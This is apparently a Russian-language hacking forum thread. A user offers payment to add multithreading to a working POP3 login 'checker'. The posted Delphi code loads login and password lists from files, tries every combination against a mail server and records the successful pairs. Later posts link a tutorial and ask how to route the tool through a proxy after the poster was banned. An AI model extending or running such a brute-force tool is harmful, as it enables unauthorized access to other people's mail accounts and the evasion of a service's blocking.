Нужна помощь - Многопоточность [Delphi]

Кто умеет реализовать многопоточность в Delphi?

Дело в том что у меня есть исходник работающего чеккера(на регистрацию) туда надо добавить многопоточность.

Кто может взятся за это дело и за какую цену?

 

var
Login, Pass: TStrings;
l, p: Integer;
begin
if edt1.Text='' then Exit;
if edt2.Text='' then Exit;
Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(edt1.Text);
Pass.LoadFromFile(edt2.Text);
for l:=0 to Login.Count-1 do
for p:=0 to Pass.Count-1 do
begin
IdPOP31.Username := Login.Strings[l];
IdPOP31.Password := Pass.Strings[p];
try
IdPOP31.Connect;
except
end;
if IdPOP31.Connected then
begin
mmo1.Lines.Add(PChar('GOOD:'+Login.Strings[l]+';'+Pass.Strings[p]));
IdPOP31.Disconnect;
end;
end;
Login.Free;
Pass.Free;
showmessage('Готово');
end;

end

 

Что это? Обьесни

 

Это код для решение твоей проблемы, чтобы разобраться , то посмотри мой урок, на данном сайте "http://youhack.top/showthread.php?t=136731 "

 

Это код для решение твоей проблемы, чтобы разобраться , то посмотри мой урок, на данном сайте "http://youhack.top/showthread.php?t=136731 "

 

ппц

 

Вот гайды:
клац и клац

 

прога уже написанна но возникла проблемка ,забанили на сайте. Можно ли зделать к многопоточности работу через 1 proxy cервер?